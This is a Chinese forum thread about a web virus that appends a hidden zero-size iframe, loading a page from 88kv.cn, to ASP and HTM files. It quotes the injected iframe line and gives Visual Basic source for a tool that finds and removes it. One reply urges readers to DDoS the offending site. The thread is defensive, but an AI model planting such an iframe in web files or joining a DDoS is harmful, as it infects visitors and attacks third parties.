你的WEB系统是否运行很慢？那说不定是感染了“站长站”的病毒！！！

[900126]

如果你的WEB系统（无论是本地还是公网上）运行很慢，有可能是感染了站长站的病毒！
站长站的病毒会修改你机器里所有ASP文件和HTM文件（也许还有其他文件），在文件的末尾加上一行：
<ifRame src="http://www.88kv.cn/mm/index.htm" width="0" height="0" frameborder="0"></ifrAme>
这一行内容会在你的所有网页打开时，调用上面网址，使你的机器运行很慢。而且感染面积非常大，几乎不可能用手工进行清理。
检查方法就是用搜索文件里面的“包含文字”里输入88kv.cn 然后搜索指定的磁盘。我的系统备份目录下的数千个文件都被感染了。
这个事情我在站长站发了帖子说明，结果帖子马上被删除了，而且我想再发帖子的时候，已经被取消了发言权。
如果你的系统里也有ASP和HTM文件，希望你也检查一下自己的系统，方法就是我刚才说的。
你做病毒也可以，做木马也可以，问题是你必须偷偷的干。如果你明目张胆的把自己的名字都写在病毒里，那就是欺负人了。我不知道这个网站有多少赔偿能力，如果影响大了，就算3-5千万恐怕也不够赔偿。

[dam520]

顶，鄙视这种网站，号召大家ddos他

[jspadmin]

我写了个小程序，同样可以清除类似病毒，最关键的是：我这个小程序是可以在远程web服务器上运行的，纯asp代码的：）
http://www.pifoo.com/blog/user1/1/archives/2005/288.shtml

[擒兽]

楼主说的站长站已经挂了 06/06/21 13:54

[900126]

to: jspadmin(厦门阿笨狗http://www.pifoo.com)

你那个程序可以在远程执行远程执行的程序来替换本地文件的内容啊? 那不就是病毒吗? 这个东西我还真不敢用呢.是否打开你的网站就开始执行了呢?
如果真那样做成功了的话,是否可以随便在远程替换人家本地磁盘所有文件的内容呢?

另外, 我这个也是可以包括所有子目录的, 不过替换内容在代码里.

[900126]

还有谁的机器感染了这种病毒吗？

[phuson]

还好，没有感染，

感谢楼主提醒。

[iqua]

站长站?那个站长站？chinaz.com?

[xiaoyaowp]

不是吧

[900126]

就是 88kv.cn
就是病毒里显示的那个站。

[900126]

我用VB写了一个清理程序，可以检查和清理这些垃圾。
原代码如下，保存成 FORM1.FRM 文件后，可以在VB里调用并执行：
另外，谁要是需要可执行程序，可以在这里留言。其实用这个原代码自己编译就可以了。

VERSION 5.00
Begin VB.Form Form1
Caption = "Form1"
ClientHeight = 5910
ClientLeft = 1650
ClientTop = 1545
ClientWidth = 6180
LinkTopic = "Form1"
ScaleHeight = 5910
ScaleWidth = 6180
Begin VB.TextBox Text2
Height = 270
Left = 2760
TabIndex = 15
Text = "*.htm;*.asp"
Top = 240
Width = 1455
End
Begin VB.CommandButton Command1
Caption = "停"
Enabled = 0 'False
Height = 375
Left = 5400
TabIndex = 11
Top = 240
Width = 615
End
Begin VB.ListBox List1
Height = 3120
Left = 120
TabIndex = 10
Top = 2640
Visible = 0 'False
Width = 5895
End
Begin VB.CheckBox Check1
Caption = "杀毒"
Height = 255
Left = 4440
TabIndex = 7
Top = 1920
Width = 855
End
Begin VB.CommandButton Command2
Caption = "开 始"
Height = 375
Left = 4440
TabIndex = 4
Top = 240
Width = 735
End
Begin VB.TextBox Text1
Height = 3135
Left = 120
MultiLine = -1 'True
ScrollBars = 3 'Both
TabIndex = 3
Text = "Form1.frx":0000
Top = 2640
Width = 5895
End
Begin VB.FileListBox File1
Height = 1710
Left = 2160
Pattern = "*.asp;*.htm"
TabIndex = 2
Top = 720
Width = 2055
End
Begin VB.DirListBox Dir1
Height = 1770
Left = 120
TabIndex = 1
Top = 720
Width = 1815
End
Begin VB.DriveListBox Drive1
Height = 300
Left = 120
TabIndex = 0
Top = 240
Width = 1815
End
Begin VB.Label Label7
AutoSize = -1 'True
Caption = "文件："
Height = 180
Left = 2160
TabIndex = 14
Top = 240
Width = 540
End
Begin VB.Label Label6
AutoSize = -1 'True
Caption = "0"
Height = 180
Left = 5400
TabIndex = 13
Top = 840
Width = 90
End
Begin VB.Label Label5
AutoSize = -1 'True
Caption = "文件数量："
Height = 180
Left = 4440
TabIndex = 12
Top = 840
Width = 900
End
Begin VB.Label Label4
AutoSize = -1 'True
Caption = "0"
Height = 180
Left = 5400
TabIndex = 9
Top = 1200
Width = 90
End
Begin VB.Label Label3
AutoSize = -1 'True
Caption = "病毒数量："
Height = 180
Left = 4440
TabIndex = 8
Top = 1200
Width = 900
End
Begin VB.Label Label2
AutoSize = -1 'True
Caption = "0"
Height = 180
Left = 5400
TabIndex = 6
Top = 1560
Width = 90
End
Begin VB.Label Label1
AutoSize = -1 'True
Caption = "清理数量："
Height = 180
Left = 4440
TabIndex = 5
Top = 1560
Width = 900
End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Sub clss()
DoEvents
Dim RR() As Byte
s0 = File1.Path
s2 = "<ifRame src=""http://www.88kv.cn/mm/index.htm"" width=""0"" height=""0"" frameborder=""0""></ifrAme>"
fn1 = FreeFile
Label6 = Label6 + File1.ListCount
For i = 0 To File1.ListCount - 1
s1 = s0 & "\" & File1.List(i)
If FileLen(s1) > 0 Then
Open s1 For Binary As #fn1
ReDim RR(LOF(fn1) - 1)
Get #fn1, , RR
Close #fn1
ss = StrConv(RR, 64)
If InStr(ss, s2) > 0 Then
Label4 = Label4 + 1
List1.AddItem s1
If Check1.Value Then
Label2 = Label2 + 1
ss = Replace(ss, s2 & vbCrLf, "")
Open s1 For Output As #fn1
Print #fn1, ss
Close #fn1
End If
End If
End If
DoEvents
If Command1.Tag <> "" Then Exit For
Next
End Sub

Private Sub Command1_Click()
Command1.Tag = "1"
End Sub

Private Sub Command2_Click()
Command2.Enabled = False
Command1.Enabled = True
Command1.Tag = ""
File1.Pattern = Text2
List1.Visible = True
Text1.Visible = False
List1.Clear
Dir1.Path = CurDir
Label2 = 0
Label4 = 0
Label6 = 0
If File1.ListCount > 0 Then Call clss
For i = 0 To Dir1.ListCount - 1
ID = Dir1.Path
Call Set1(Dir1.List(i))
Dir1.Path = ID
Next i
Command1.Enabled = False
Command2.Enabled = True
End Sub

Private Sub Set1(ID)
DoEvents
If Command1.Tag <> "" Then Exit Sub
Dir1.Path = ID
If File1.ListCount > 0 Then
Call clss
End If
For i = 0 To Dir1.ListCount - 1
ps = Dir1.Path
Call Set1(Dir1.List(i))
Dir1.Path = ps
Next i
End Sub

Private Sub Dir1_Change()
File1.Path = Dir1.Path
ChDir Dir1.Path
End Sub

Private Sub Drive1_Change()
Dir1.Path = Drive1.Drive
ChDrive Dir1.Path
End Sub

Private Sub File1_Click()
Dim RR() As Byte
fn1 = FreeFile
Open File1.FileName For Binary As #fn1
ReDim RR(LOF(fn1) - 1)
Get #fn1, , RR
Close #fn1
Text1 = StrConv(RR, 64)
Text1.SelStart = Len(Text1)
Text1.Visible = True
List1.Visible = False
End Sub

Private Sub Form_Load()
Drive1.Drive = CurDir
Dir1.Path = CurDir
End Sub

[zhuangyan2004]

谢谢楼主，不过你写的程序不需要，我有文件查找替换的软件
可以选择替换的目录（包括子目录），替换文字，和要替换的文件扩展名。